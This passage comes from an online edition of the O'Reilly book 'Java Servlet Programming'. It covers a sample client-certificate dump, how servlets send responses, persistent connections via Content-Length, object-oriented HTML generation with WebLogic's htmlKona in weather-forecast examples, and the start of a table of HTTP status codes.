  X.509v3 certificate,
  Subject is OID.1.2.840.113549.1.9.1=#160F6A68756E746572407367692E636F6D,
CN=Jason Hunter, OU=Digital ID Class 1 - Netscape,
OU="www.verisign.com/repository/CPS Incorp. by Ref.,LIAB.LTD(c)96",
OU=VeriSign Class 1 CA - Individual Subscriber, O="VeriSign, Inc.",
L=Internet
  Key:  algorithm = [RSA], exponent = 0x    010001, modulus =
    b35ed5e7 45fc5328 e3f5ce70 838cc25d 0a0efd41 df4d3e1b 64f70617 528546c8
    fae46995 9922a093 7a54584d d466bee7 e7b5c259 c7827489 6478e1a9 3a16d45f
  Validity  until
  Issuer is OU=VeriSign Class 1 CA - Individual Subscriber, O="VeriSign,
Inc.",
    L=Internet
  Issuer signature used [MD5withRSA]
  Serial number =     20556dc0 9e31dfa4 ada6e10d 77954704
]
Client Certificate [1] = [
  X.509v3 certificate,
  Subject is OU=VeriSign Class 1 CA - Individual Subscriber, O="VeriSign,
Inc.", L=Internet
  Key:  algorithm = [RSA], exponent = 0x    010001, modulus =
    b614a6cf 4dd0050d d8ca23d0 6faab429 92638e2c f86f96d7 2e9d764b 11b1368d
    57c9c3fd 1cc6bafe 1e08ba33 ca95eabe e35bcd06 a8b7791d 442aed73 f2b15283
    68107064 91d73e6b f9f75d9d 14439b6e 97459881 47d12dcb ddbb72d7 4c3f71aa
    e240f254 39bc16ee cf7cecba db3f6c2a b316b186 129dae93 34d5b8d5 d0f73ea9
  Validity  until
  Issuer is OU=Class 1 Public Primary Certification Authority, O="VeriSign,
Inc.", C=US
  Issuer signature used [MD2withRSA]
  Serial number =     521f351d f2707e00 2bbeca59 8704d539
]

Servers are free to provide whatever attributes they choose, or even no attributes at all. The only rules are that attribute names should follow the same convention as package names, with the package names java.* and javax.* reserved for use by the Java Software division of Sun Microsystems (formerly known as JavaSoft) and com.sun.* reserved for use by Sun Microsystems. You should see your server's documentation for a list of its attributes. There is no getAttributeNames() method to help.

Previous | Home | Next
4.3. The Client | Book Index | 5. Sending HTML Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sending HTML Information (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 5. Sending HTML Information

Contents:

The Structure of a Response
Sending a Normal Response
Using Persistent Connections
HTML Generation
Status Codes
HTTP Headers
When Things Go Wrong

In the previous chapter, we learned that a servlet has access to all sorts of information--information about the client, about the server, about the request, and even about itself. Now it's time to look at what a servlet can do with that information, by learning how it sets and sends information.

The chapter begins with a review of how a servlet returns a normal HTML response, fully explaining some methods we glossed over in previous examples. Next we cover how to reduce the overhead involved in returning a response by keeping alive a connection to the client. Then we explore the extra things you can do with HTML and HTTP, including using support classes to objectify the HTML output, returning errors and other status codes, sending custom header information, redirecting the request, using client pull, detecting when the user disconnects, and writing data to the server log.

5.1. The Structure of a Response

An HTTP servlet can return three kinds of things to the client: a single status code, any number of HTTP headers, and a response body. A status code is an integer value that describes, as you would expect, the status of the response. The status code can indicate success or failure, or it can tell the client software to take further action to finish the request. The numerical status code is often accompanied by a "reason phrase" that describes the status in prose better understood by a human. Usually, a status code works behind the scenes and is interpreted by the browser software. Sometimes, especially when things go wrong, a browser may show the status code to the user. The most famous status code is probably the "404 Not Found" code, sent by a web server when it cannot locate a requested URL.

We saw HTTP headers in the previous chapter when clients used them to send extra information along with a request. In this chapter, we'll see how a servlet can send HTTP headers as part of its response.

The response body is the main content of the response. For an HTML page, the response body is the HTML itself. For a graphic, the response body contains the bytes that make up the image. A response body can be of any type and of any length; the client knows what to expect by reading and interpreting the HTTP headers in the response.

A generic servlet is much simpler than an HTTP servlet--it returns only a response body to its client. It's possible, however, for a subclass of GenericServlet to present an API that divides this single response body into a more elaborate structure, giving the appearance of returning multiple items. In fact, this is exactly what HTTP servlets do. At the lowest level, a web server sends its entire response as a stream of bytes to the client. Any methods that set status codes or headers are abstractions above that.

It's important to understand this because even though a servlet programmer doesn't have to know the details of the HTTP protocol, the protocol does affect the order in which a servlet can call its methods. Specifically, the HTTP protocol specifies that the status code and headers must be sent before the response body. A servlet, therefore, should be careful to always set its status codes and headers before returning any of its response body. Some servers, including the Java Web Server, internally buffer some length of a servlet's response body (usually about 4K)--this allows you some freedom to set the status codes and headers even after a servlet has written a short amount of response body. However, this behavior is server implementation dependent, and as a wise servlet programmer, you'll forget all about it!

Previous | Home | Next
4.4. The Request | Book Index | 5.2. Sending a Normal Response
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sending a Normal Response (Java Servlet Programming)

 Java Servlet Programming Search this book

5.2. Sending a Normal Response

Let's begin our discussion of servlet responses with another look at the first servlet in this book, the HelloWorld servlet, shown in Example 5-1. We hope it looks a lot simpler to you now than it did back in Chapter 2, "HTTP Servlet Basics".

Example 5-1. Hello again

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWorld extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello World</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<BIG>Hello World</BIG>");
    out.println("</BODY></HTML>");
  }
}

This servlet uses two methods and a class that have been only briefly mentioned before. The setContentType() method of ServletResponse sets the content type of the response to be the specified type:

public void ServletResponse.setContentType(String type)

In an HTTP servlet, this method sets the Content-Type HTTP header.

The getWriter() method returns a PrintWriter for writing character-based response data:

public PrintWriter ServletResponse.getWriter() throws IOException

The writer encodes the characters according to whatever charset is given in the content type. If no charset is specified, as is generally the case, the writer uses the ISO-8859-1 (Latin-1) encoding appropriate for Western European languages. Charsets are covered in depth in Chapter 12, "Internationalization", so for now just remember that it's good form to always set the content type before you get a PrintWriter. This method throws an IllegalStateException if getOutputStream() has already been called for this response; it throws an UnsupportedEncodingException if the encoding of the output stream is unsupported or unknown.

In addition to using a PrintWriter to return a response, a servlet can use a special subclass of java.io.OutputStream to write binary data--the ServletOutputStream, which is defined in javax.servlet. You can get a ServletOutputStream with getOutputStream():

public ServletOutputStream ServletResponse.getOutputStream() throws IOException

This method returns an ServletOutputStream for writing binary (byte-at-a-time) response data. No encoding is performed. This method throws an IllegalStateException if getWriter() has already been called for this response.

The ServletOutputStream class resembles the standard Java PrintStream class. In the Servlet API Version 1.0, this class was used for all servlet output, both textual and binary. In the Servlet API Version 2.0, however, it has been relegated to handling binary output only. As a direct subclass of OutputStream, it makes available the write(), flush(), and close() methods of the OutputStream class. To these it adds its own print() and println() methods for writing most of the primitive Java data types (see Appendix A, "Servlet API Quick Reference", for a complete list). The only difference between the ServletOutputStream interface and that of a PrintStream is that the print() and println() methods of ServletOutputStream inexplicably cannot directly print parameters of type Object or char[].

Previous | Home | Next
5.1. The Structure of a Response | Book Index | 5.3. Using Persistent Connections
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Persistent Connections (Java Servlet Programming)

 Java Servlet Programming Search this book

5.3. Using Persistent Connections

Persistent connections (sometimes called "keep-alive" connections) can be used to optimize the way servlets return content to the client. To understand how this optimization works, you first need to understand how HTTP connections work. We'll keep this at a high level and only go as low as is necessary to explain the basic idea. The details are well covered in Clinton Wong's Web Client Programming (O'Reilly).

When a client, such as a browser, wants to request a web document from a server, it begins by establishing a socket connection to the server. Over this connection, the client makes its request and then receives the server's response. The client indicates it has finished its request by sending a blank line; the server, in turn, indicates that the response is complete by closing the socket connection.

So far, so good. But what if the retrieved page contains <IMG> tags or <APPLET> tags that require the client to retrieve more content from the server? Well, another socket connection is used. If a page contains 10 graphics along with an applet made up of 25 classes, that's 36 connections needed to transfer the page. No wonder some people say WWW stands for the World Wide Wait! This approach is like ordering a pizza, but making a separate phone call for each topping.

A better approach is to use the same socket connection to retrieve more than one piece of a page, something called a persistent connection. The trick with a persistent connection is that the client and server must somehow agree on where the server's response ends and where the client's next request begins. They could try to use a token like a blank line, but what if the response itself contains a blank line? The way persistent connections work is that the server just tells the client how big the response body will be by setting the Content-Length header as part of the response. The client then knows that after that much response body, it has control of the socket again.

Most servers internally manage the Content-Length header for the static files they serve, but do not do the same for the servlets they serve. That's left to the servlets themselves. A servlet can gain the advantages of a persistent connection for its dynamic content by using the setContentLength() method:

public void ServletResponse.setContentLength(int len)

This method sets the length (in bytes) of the content being returned by the server. In an HTTP servlet, the method sets the HTTP Content-Length header. Note that using this method is optional. If you use it, however, your servlets will be able to take advantage of persistent connections when they are available. The client will also be able to display an accurate progress monitor during the download.

If you do call setContentLength(), there are two caveats: a servlet must call this method before sending the response body, and the given length must be exact. If it's off by even one byte, you will have problems.[1] This sounds more difficult than it really is. The trick is for a servlet to use a ByteArrayOutputStream to buffer the output, as shown in Example 5-2.

[1] For example, with the Java Web Server, if a servlet sets the length too short, the server throws an IOException saying there was a "write past end of stream". If a servlet sets the length too long, the client stalls as it waits for the rest of the response.

Example 5-2. A servlet using persistent connections

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class KeepAlive extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    res.setContentType("text/html");

    // Set up a PrintStream built around a special output stream
    ByteArrayOutputStream bytes = new ByteArrayOutputStream(1024);
    PrintWriter out = new PrintWriter(bytes, true);  // true forces flushing

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Hello World</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<BIG>Hello World</BIG>");
    out.println("</BODY></HTML>");

    // Set the content length to the size of the buffer
    res.setContentLength(bytes.size());

    // Send the buffer
    bytes.writeTo(res.getOutputStream());
  }
}

Instead of writing to the PrintWriter returned by getWriter(), this servlet writes to a PrintWriter built around a ByteArrayOutputStream. This array grows as necessary to accommodate whatever output the servlet sends. When the servlet is ready to exit, it sets the content length to be the size of the buffer and then sends the contents of the buffer to the client. Notice that the bytes are sent using the byte-oriented ServletOutputStream. With this simple modification, a servlet can take advantage of a persistent connection.

It is important to note that persistent connections come with a price. Buffering all the output and sending it all in one batch requires extra memory, and it may delay the time at which a client begins receiving data. For servlets with short responses, persistent connections make sense, but for servlets with long responses, the memory overhead and delay probably outweigh the benefit of opening fewer connections.

It is also important to note that not all servers and not all clients support persistent connections. That said, it's still appropriate for a servlet to set its content length. This information will be used by those servers that support persistent connections and ignored by the others.

Previous | Home | Next
5.2. Sending a Normal Response | Book Index | 5.4. HTML Generation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTML Generation (Java Servlet Programming)

 Java Servlet Programming Search this book

5.4. HTML Generation

No, "HTML Generation" is not another name for the children born in the 1980s, many of whom grew up browsing the web--although Jason and Will, saddled with the Generation X moniker, feel that would be only fair. HTML generation is an alternate way for servlets to send HTML content to clients.

So far, every example in this book has generated its HTML by hand, as one long String that is sent to the client. This strategy works fine for small web pages (like book examples), but it quickly becomes unwieldy for larger, more complicated pages. For that type of page, it's sometimes helpful to use an HTML generation package.

An HTML generation package provides a servlet with a set of classes that abstract away the details of HTML, in particular, the HTML tags. The level of abstraction depends on the package: some put only the thinnest veneer above the HTML tags, leaving the nitty-gritty details (such as opening and closing each HTML tag) to the programmer. Using packages such as these is similar to writing HTML by hand and is not discussed here. Other packages elegantly abstract away the HTML specification and treat HTML as just another set of Java objects. A web page is seen as an object that can contain other HTML objects (such as lists and tables) that can contain yet more HTML objects (such as list items and table cells). This object-oriented approach can greatly simplify the task of generating HTML and make a servlet easier to write, easier to maintain, and sometimes even more efficient.

5.4.1. Generating Hello World

Let's look at an example to see how object-oriented HTML generation works. Example 5-3 shows the ubiquitous HelloWorld servlet, rewritten to take advantage of WebLogic's htmlKona package (available for free evaluation and purchase at http://www.weblogic.com--you may need to poke around a bit to find it).

Example 5-3. Hello, htmlKona

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import weblogic.html.*;

public class HtmlKonaHello extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    res.setContentType("text/html");

    ServletPage page = new ServletPage();
    page.getHead().addElement(new TitleElement("Hello World"));
    page.getBody().addElement(new BigElement("Hello World!"));

    page.output(res.getOutputStream());
  }
}

Note how all the HTML tags have been replaced with objects. This servlet first creates a new ServletPage object that represents the web page it will return. Then, it adds a "Hello World" title to the page's head section and a "Hello World!" big string to its body section. Finally, the servlet outputs the page to its output stream.[2] That's how object-oriented HTML generation works: get a page object, add component objects to it, and send it to the output stream.

[2] We must use the ServletOutputStream here since htmlKona was not written to output its page to a PrintWriter.

One advantage of HTML generation should already be apparent: it ensures valid HTML. HTML generation eliminates the possibility for a misspelled <TITLE> open tag or a forgotten </TITLE> close tag. We'll admit it's not an advantage worth writing home about, but it is appealing to not have to remember to open and close every tag or to clutter your code with HTML. Unfortunately, object-oriented HTML has the fairly serious drawback that it can litter memory with a multitude of small objects, requiring more frequent garbage collection.

5.4.2. Generating a Weather Forecast

That's how HTML generation works for a simple web page. Now let's create a more complicated web page, so we can test how HTML generation scales to handle the harder challenges. Figure 5-1 shows a hypothetical web page that displays the current weather and an extended forecast, the kind you might find on Yahoo! or CNN. We've kept it simple for the sake of space, but it still includes enough components to make an interesting example.

Figure 5-1. Oh, the weather outside is delightful

Imagine a servlet creating this web page. Assuming the servlet already has access to the current conditions and forecast information, how would the servlet do it? We will examine and discuss three strategies:

  • Constructing the HTML by hand

  • Using an HTML generator

  • Using an HTML generator creatively

The first strategy, constructing the HTML by hand (Example 5-4), is the standard approach demonstrated elsewhere in this book. A servlet implemented using this strategy acts as a baseline against which we can compare the other two servlets. The second approach, using an HTML generator (Example 5-5), constructs the web page as a set of objects. This is like the HelloWorld example, just on a much larger scale. The third strategy, using an HTML generator and some creativity (Example 5-6), takes the second servlet and simplifies it by reusing objects and subclassing.

5.4.2.1. Weather forecast constructed by hand

Example 5-4 shows a servlet that creates the weather forecast page without using HTML generation, manually sending its content wrapped with almost a hundred HTML tags.

Example 5-4. Weather forecast constructed by hand

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class WeatherHtml extends HttpServlet {

  // Some static final variables to populate the page...
  // These would normally come from a database or
  // maybe another servlet that retrieved it as POST data.

  static final int currentTemp = 70;
  static final String currentImage = "/images/rainy.gif";
  static final String[] forecastDay = { "Thursday",
                                        "Friday",
                                        "Saturday" };
  static final String[] forecastImage = { "/images/sunny.gif",
                                          "/images/sunny.gif",
                                          "/images/rainy.gif" };
  static final int[] forecastHi = { 82, 82, 73 };
  static final int[] forecastLo = { 58, 65, 48 };

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Set its title
    String title = "Sebastopol Weather Forecast";
    out.println("<HTML>");
    out.println("<HEAD>");
    out.println("<TITLE>" + title + "</TITLE>");
    out.println("</HEAD>");

    // Start on the body
    out.println("<BODY>");

    // Make a centered table
    out.println("<CENTER>");
    out.println("<TABLE BORDER=1 CELLPADDING=0 CELLSPACING=0 WIDTH=70%>");

    // First row
    out.println("<TR>");
    out.println("<TD><CENTER><B>");
    out.println("<FONT SIZE=+2>Current Conditions</FONT>");
    out.println("</B></CENTER></TD>");

    out.println("<TD><CENTEr>");
    out.println("<IMG WIDTH=48 HEIGHT=35 SRC=\"" + currentImage + "\">");
    out.println("</CENTER></TD>");

    out.println("<TD COLSPAN=2><CENTER><B><FONT SIZE=+2>");
    out.println(currentTemp + "&#176;");
    out.println("</FONT></B></CENTER></TD>");
    out.println("</TR>");

    // Second row
    out.println("<TR>");
    out.println("<TD COLSPAN=2><CENTER><B><FONT SIZE=+1>");
    out.println("Extended Forecast");
    out.println("</FONT></B></CENTER></TD>");

    out.println("<TD><CENTER><B><FONT SIZE=+1>");
    out.println("Hi");
    out.println("</FONT></B></CENTER></TD>");

    out.println("<TD><CENTER><B><FONT SIZE=+1>");
    out.println("Lo");
    out.println("</FONT></B></CENTER></TD>");
    out.println("</TR>");

    // Daily forecast rows
    for (int i = 0; i < forecastDay.length; i++) {
      out.println("<TR>");
      out.println("<TD>&nbsp;<FONT SIZE=+1>");
      out.println(forecastDay[i]);
      out.println("</FONT></TD>");
      out.println("<TD><CENTER>");
      out.println("<IMG WIDTH=48 HEIGHT=35 SRC=\"" + forecastImage[i] + "\">");
      out.println("</CENTER></TD>");
      out.println("<TD><CENTER><FONT SIZE=+1>");
      out.println(forecastHi[i]);
      out.println("</FONT></CENTER></TD>");
      out.println("<TD><CENTER><FONT SIZE=+1>");
      out.println(forecastLo[i]);
      out.println("</FONT></CENTER></TD>");
      out.println("</TR>");
    }

    // Close the still-open tags
    out.println("</TABLE>");
    out.println("</CENTER>");
    out.println("</BODY></HTML>");
  }
}

This code exactly generates the weather forecast page as shown in Figure 5-1. It begins by defining static final variables to use as its content and proceeds to nest that content among HTML tags. This approach presents a pretty page to the end user, but it can leave the programmer counting tags and looking for the right place to put the forgotten </TD>. The approach also has limited maintainability. Pulling out one HTML tag can result in the same cascading disaster you get when you pull on a knit sweater's loose tail. And for the same reason--everything's connected. Even a change as simple as decentering the table requires a modification in the beginning of doGet() and at the end. And a whimsical change, like making the extended forecast font bold, requires more than a little concentration.

5.4.2.2. Weather forecast using HTML generation

The same servlet written using HTML generation is shown in Example 5-5.

Example 5-5. Weather forecast using HTML generation

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import weblogic.html.*;

public class WeatherHtmlKona extends HttpServlet {

  // Some static final variables to populate the page...
  // These would normally come from a database or
  // maybe another servlet that retrieved it as POST data.

  static final int currentTemp = 70;
  static final String currentImage = "/images/rainy.gif";
  static final String[] forecastDay = { "Thursday",
                                        "Friday",
                                        "Saturday" };
  static final String[] forecastImage = { "/images/sunny.gif",
                                          "/images/sunny.gif",
                                          "/images/rainy.gif" };
  static final int[] forecastHi = { 82, 82, 73 };
  static final int[] forecastLo = { 58, 65, 48 };

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");

    // Get a new page
    ServletPage page = new ServletPage();

    // Set its title
    String title = "Sebastopol Weather Forecast";
    page.getHead().addElement(new TitleElement(title));

    // Get the body
    HtmlContainer body = page.getBody();

    // Make a table, and add it to the body (even before it's filled)
    TableElement tab = new TableElement()
                       .setCellPadding(0)
                       .setCellSpacing(0)
                       .setBorder(1)
                       .setWidth("60%");
    body.addElement(new CenteredElement(tab));

    // Create the first row
    HtmlElement conditions = new StringElement("Current Conditions")
                             .asFontElement("+2")
                             .asBoldElement()
                             .asCenteredElement();
    HtmlElement image = new ImageElement(currentImage)
                        .setWidth(48)
                        .setHeight(35)
                        .asCenteredElement();
    HtmlElement temp = new StringElement(currentTemp + "&#176;")
                       .asFontElement("+2")
                       .asBoldElement()
                       .asCenteredElement();
    tab.addElement(new TableRowElement()
                   .addElement(new TableDataElement(conditions))
                   .addElement(new TableDataElement(image))
                   .addElement(new TableDataElement(temp)
                               .setColSpan(2)));

    // Create the second row
    HtmlElement extended = new StringElement("Extended Forecast")
                           .asFontElement("+1")
                           .asBoldElement()
                           .asCenteredElement();
    HtmlElement hi = new StringElement("Hi")
                     .asFontElement("+1")
                     .asBoldElement()
                     .asCenteredElement();
    HtmlElement lo = new StringElement("Lo")
                     .asFontElement("+1")
                     .asBoldElement()
                     .asCenteredElement();
    tab.addElement(new TableRowElement()
                   .addElement(new TableDataElement(extended)
                               .setColSpan(2))
                   .addElement(new TableDataElement(hi))
                   .addElement(new TableDataElement(lo)));

    // Create the forecast rows
    for (int i = 0; i < forecastDay.length; i++) {
      HtmlElement day = new StringElement("&nbsp;" + forecastDay[i])
                        .asFontElement("+1");
      HtmlElement daypic = new ImageElement(forecastImage[i])
                           .setWidth(48)
                           .setHeight(35)
                           .asCenteredElement();
      HtmlElement dayhi = new StringElement("" + forecastHi[i])
                          .asFontElement("+1")
                          .asCenteredElement();
      HtmlElement daylo = new StringElement("" + forecastLo[i])
                          .asFontElement("+1")
                          .asCenteredElement();
      tab.addElement(new TableRowElement()
                     .addElement(new TableDataElement(day))
                     .addElement(new TableDataElement(daypic))
                     .addElement(new TableDataElement(dayhi))
                     .addElement(new TableDataElement(daylo)));
    }

    // Send the page to the response's output stream
    page.output(res.getOutputStream());
  }
}

The basic structure of this servlet is similar to that of the previous example. The major difference is that this servlet uses an HTML generation package to create an object-oriented representation of the web page.

A few things may look strange about this code. The most striking is its use of method chaining, where several methods are invoked on the same object with code like the following:

TableElement tab = new TableElement()
                   .setCellPadding(0)
                   .setCellSpacing(0);

The whitespace here is irrelevant. The previous code is equivalent to:

TableElement tab = new TableElement().setCellPadding(0).setCellSpacing(0);

This chaining is possible because each "set" method returns a reference to the object on which it was invoked--that reference is used to invoke the next "set" method. This trick comes in handy when using htmlKona.

You may also be wondering why so many objects are declared as HtmlElement objects but created as StringElement objects or ImageElement objects, as with the following code:

HtmlElement image = new ImageElement(currentImage)
                    .setWidth(48)
                    .setHeight(35)
                    .asCenteredElement();

The answer is that each "as" method returns an object of a different type than the object on which it was invoked. In the example above, the asCenteredElement() method returns a CenteredElement wrapped around the original ImageElement. For simplicity, each HTML component can be declared to be of type HtmlElement, which is the superclass of all HTML objects--its actual subclass type can be changed later with ease.

Now let's look at how this servlet compares to the previous servlet. This servlet no longer has code that writes the individual HTML tags, but it replaces that code with almost as many method invocations. We don't appear to be saving any keystrokes. What using HTML generation does do is give you confidence that the page you constructed is valid. Tags cannot be forgotten or misplaced. The larger benefit comes from easier maintainability. What if your pointy-haired boss wants the table left-justified instead of centered? The change is simple. The following line:

body.addElement(new CenteredElement(tab));

changes to:

body.addElement(tab);

And what if you decide you want the forecast font to be bold? Well, it's still a lot of work. For an elegant solution to this problem, we need to look at the next servlet.

5.4.2.3. Weather forecast using HTML generation creatively

Example 5-6 (the last full weather forecast example) shows another servlet that generates the weather forecast web page. This servlet demonstrates some of HTML generation's potential by reusing objects and subclassing. This technique produces results similar to what you can achieve with Cascading Style Sheets (CSS), a recent enhancement to HTML for controlling document appearance.[3] The major advantage of HTML generation is that, because it operates entirely on the server side, it can work with all browsers. CSS only started being supported in Microsoft Internet Explorer 3 and later and Netscape Navigator 4 and later.

[3] For more information on Cascading Style Sheets, see http://www.w3.org/Style/css.

Example 5-6. Weather forecast using HTML generation creatively

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import weblogic.html.*;

class CurrentStyle extends StringElement {
  CurrentStyle(String val) {
    super(new StringElement(val)
          .asFontElement("+2")
          .asBoldElement()
          .asCenteredElement());
  }
}

class ExtendedTitleStyle extends StringElement {
  ExtendedTitleStyle(String val) {
    super(new StringElement(val)
          .asFontElement("+1")
          .asBoldElement()
          .asCenteredElement());
  }
}

class ExtendedDayStyle extends StringElement {
  ExtendedDayStyle(String val) {
    super(new StringElement(val)
          .asFontElement("+1"));
  }
}

class ExtendedTempStyle extends StringElement {
  ExtendedTempStyle(String val) {
    super(new StringElement(val)
          .asFontElement("+1")
          .asCenteredElement());
  }
}

class ImageStyle extends CenteredElement {
  ImageStyle(String src) {
    super(new ImageElement(src).setWidth(48).setHeight(35));
  }
}

public class WeatherHtmlKonaRevised extends HttpServlet {

  static final ImageStyle sunny = new ImageStyle("/images/sunny.gif");
  static final ImageStyle rainy = new ImageStyle("/images/rainy.gif");

  // Some static final variables to populate the page...
  // These would normally come from a database or
  // maybe another servlet that retrieved it as POST data.

  static final int currentTemp = 70;
  static final ImageStyle currentImage = sunny;
  static final String[] forecastDay = { "Thursday", "Friday", "Saturday" };
  static final ImageStyle[] forecastImage = { sunny, sunny, rainy };
  static final int[] forecastHi = { 82, 82, 73 };
  static final int[] forecastLo = { 58, 65, 48 };

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");

    // Get a new page
    ServletPage page = new ServletPage();

    // Set its title
    String title = "Sebastopol Weather Forecast";
    page.getHead().addElement(new TitleElement(title));

    // Get the body
    HtmlContainer body = page.getBody();

    // Make a table, and add it to the body (even before it's filled)
    TableElement tab = new TableElement()
                       .setCellPadding(0)
                       .setCellSpacing(0)
                       .setBorder(1)
                       .setWidth("60%");
    body.addElement(new CenteredElement(tab));

    // Create the first row
    HtmlElement conditions = new CurrentStyle("Current Conditions");
    HtmlElement image = currentImage;
    HtmlElement temp = new CurrentStyle(currentTemp + "&#176;"); // degree symbol
    tab.addElement(new TableRowElement()
                   .addElement(new TableDataElement(conditions))
                   .addElement(new TableDataElement(image))
                   .addElement(new TableDataElement(temp)
                               .setColSpan(2)));

    // Create the second row
    HtmlElement extended = new ExtendedTitleStyle("Extended Forecast");
    HtmlElement hi = new ExtendedTitleStyle("Hi");
    HtmlElement lo = new ExtendedTitleStyle("Lo");
    tab.addElement(new TableRowElement()
                   .addElement(new TableDataElement(extended)
                               .setColSpan(2))
                   .addElement(new TableDataElement(hi))
                   .addElement(new TableDataElement(lo)));

    // Create the forecast rows
    for (int i = 0; i < forecastDay.length; i++) {
      HtmlElement day = new ExtendedDayStyle("&nbsp;" + forecastDay[i]);
      HtmlElement daypic = forecastImage[i];
      HtmlElement dayhi = new ExtendedTempStyle("" + forecastHi[i]);
      HtmlElement daylo = new ExtendedTempStyle("" + forecastLo[i]);
      tab.addElement(new TableRowElement()
                   .addElement(new TableDataElement(day))
                   .addElement(new TableDataElement(daypic))
                   .addElement(new TableDataElement(dayhi))
                   .addElement(new TableDataElement(daylo)));
    }

    // Send the page to the response's output stream
    page.output(res.getOutputStream());
  }
}

This servlet uses five support classes to define custom styles for portions of the generated web page. For example, CurrentStyle defines the font and positioning for the elements that display the current conditions, while ImageStyle defines the size and positioning of the forecast icons. Each support class is a subclass of HtmlElement (though not always directly) and can thus be treated like a first-class component on the web page.

Custom styles further abstract the HTML components on the page. What was once a String surrounded by HTML tags is now a high-level page component. A servlet can fill these components with content and not worry about exactly how they will be displayed. Their display is left to the style class. Should it happen that the appearance needs to be changed, such as when you decide you want the extended forecast font to be bold, the change can be done with a single modification to the appropriate style.

Subclassing also proves useful for more mundane tasks. It can be used to define basic HTML components that, for whatever reason, are not included in the HTML generation package. For example, htmlKona has no ServletElement class to represent an embedded <SERVLET> tag. This class could be written similarly to its AppletElement class by subclassing htmlKona's ElementWithAttributes class.

Notice how this servlet has changed its representation of the sunny and rainy images. The previous servlets stored these images as String objects representing image locations. This servlet, however, creates each one as an ImageStyle object with an inherent size and width. This means they can be added directly to the page, simplifying the code in which they are used. It also shows how a servlet can reuse an HTML component.

For a better demonstration of reuse, imagine the TableElement created by this servlet being cached and resent in response to every request. This is simple to accomplish using the techniques demonstrated in Chapter 3, "The Servlet Life Cycle". The table could be on a page surrounded by rotating ad banners, but it can persist as an object between requests.

But what happens when the current temperature changes? Does the table have to be entirely regenerated? Not at all. Remember, the table is an object filled with other objects. All we need to do is replace the object that represents the current temperature. For our example this can be done with one line of code (note "&#176;" is the HTML representation of the degree symbol):

tab.setCellAt(0, 2, new CurrentStyle(newTemp + "&#176;"));

The possible creative uses for object-oriented HTML generation go far beyond the techniques shown in this example. One could imagine a custom-created BannerElement displayed at the top of all the servlets on a site. It could be just a predefined ImageElement or a conglomeration of elements. Let your imagination run wild!

5.4.2.4. HTML generation and databases

Before we conclude our discussion of HTML generation, there is one more feature to discuss: its potential close integration with a database. It's not by coincidence that WebLogic packages htmlKona with its database-centric dbKona and jdbcKona--the packages work well together. We'll leave the details to WebLogic's web site, but the general idea is that when you execute a query against a database, the returned result set can be thought of as a formatted table without a graphical representation. This result set table can be passed to the TableElement constructor to automatically display the query results in an HTML table on a web page.

The TableElement constructor also accepts java.util.Dictionary objects (the superclass of java.util.Hashtable and java.util.Properties). By sub-classing TableElement, it is possible to have it accept even more types, thus making it easy to create tables from all different kinds of data. A subclass can also give special treatment to certain types of data, perhaps converting them into hyperlinks to other queries.

Previous | Home | Next
5.3. Using Persistent Connections | Book Index | 5.5. Status Codes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Status Codes (Java Servlet Programming)

 Java Servlet Programming Search this book

5.5. Status Codes

Until now, our servlet examples have not set HTTP response status codes. We've been taking advantage of the fact that if a servlet doesn't specifically set the status code, the server steps in and sets its value to the default 200 "OK" status code. That's a useful convenience when we are returning normal successful responses. However, by using status codes, a servlet can do more with its response. For example, it can redirect a request or report a problem.

The most common status code numbers are defined as mnemonic constants (publicfinalstaticint fields) in the HttpServletResponse class. A few of these are listed in Table 5-1. The full list is available in Appendix C, "HTTP Status Codes".

Table 5-1. HTTP Status Codes

Mnemonic Constant

Code

Default Message

Meaning

SC_OK

200

OK

The client's request was successful, and the server's response contains the requested data. This is the default status code.

SC_NO_CONTENT

204

No Content

The request succeeded, but there was no new response body to return. Browsers receiving this code should retain their current document view. This is a useful code for a servlet to use when it accepts data from a form but wants the browser view to stay at the form, as it avoids the "Document contains no data" error message.

SC_MOVED_PERMANENTLY

301

Moved Permanently

The requested resource has permanently moved to a new location. Future references should use the new URL in requests. The new location is given by the Location header. Most browsers automatically access the new location.

SC_MOVED_TEMPORARILY

302

Moved Temporarily

The requested resource has temporarily moved to another location, but future references should still use the original URL to access the resource. The new location is given by the Location header. Most browsers automatically access the new location.

SC_UNAUTHORIZED

401

Unauthorized

The request lacked proper authorization. Used in conjunction with the WWW-Authenticate and Authorization headers.

SC_NOT_FOUND

404

Not Found

The requested resource was not found or is not available.

SC_INTERNAL_SERVER_ERROR

500

Internal Server Error

An unexpected error occurred inside the server that prevented it from fulfilling the request.

SC_NOT_IMPLEMENTED

501

Not Implemented

The server does not support the functionality needed to fulfill the request.

SC_SERVICE_UNAVAILABLE

503

Service Unavailable

